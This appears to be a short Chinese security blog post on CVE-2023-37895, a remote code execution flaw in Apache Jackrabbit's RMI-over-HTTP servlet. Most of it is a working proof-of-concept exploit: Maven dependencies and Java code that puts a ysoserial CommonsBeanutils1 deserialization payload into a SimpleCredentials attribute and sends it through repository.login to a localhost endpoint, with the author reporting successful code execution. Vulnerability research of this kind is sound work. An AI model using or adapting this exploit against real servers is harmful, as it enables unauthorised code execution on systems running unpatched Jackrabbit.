目录

CVE-2023-37895: Apache Jackrabbit RMI RCE

目录
注意
本文最后更新于 2023-07-28,文中内容可能已过时。

https://lists.apache.org/thread/j03b3qdhborc2jrhdc4d765d3jkh8bfw

image.png

漏洞点已经指出来了,rmi over http。

org.apache.jackrabbit.servlet.remote.RemoteBindingServlet

image.png

关键是怎么利用呢?根据文档 https://jackrabbit.apache.org/archive/wiki/JCR/RemoteAccess_115513494.html 用JcrUtils拿可以拿到Repository,给定http url拿到的是URLRemoteRepository

image.png

Repository接口有几个方法,其中login函数的参数为javax.jcr.Credentials

image.png

该接口有两个实现类

image.png

其中SimpleCredentials有一个<string,object>类型的hashmap

image.png

所以可以将cb序列化payload放入hashmap发送。

pom引入依赖

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<dependencies>
    <dependency>
        <groupId>javax.jcr</groupId>
        <artifactId>jcr</artifactId>
        <version>2.0</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/org.apache.jackrabbit/jackrabbit-jcr-rmi -->
    <dependency>
        <groupId>org.apache.jackrabbit</groupId>
        <artifactId>jackrabbit-jcr-rmi</artifactId>
        <version>2.21.10</version>
    </dependency>
    <dependency>
        <groupId>org.apache.jackrabbit</groupId>
        <artifactId>jackrabbit-jcr2dav</artifactId>
        <version>2.0-beta6</version>
    </dependency>
    <dependency>
        <groupId>org.slf4j</groupId>
        <artifactId>slf4j-simple</artifactId>
        <version>1.5.8</version>
    </dependency>
</dependencies>

构造反序列化payload并发送

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
package org.example;

import org.apache.jackrabbit.commons.JcrUtils;
import ysoserial.payloads.CommonsBeanutils1;

import javax.jcr.Repository;
import javax.jcr.SimpleCredentials;


public class Main {
    public static void main(String[] args) throws Exception {
        SimpleCredentials simpleCredentials = new SimpleCredentials("1", "1".toCharArray());
        simpleCredentials.setAttribute("a", new CommonsBeanutils1().getObject("calc"));

        Repository repository = JcrUtils.getRepository("http://localhost:8080/rmi");
        repository.login(simpleCredentials);
    }
}

rce留念

image.png

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。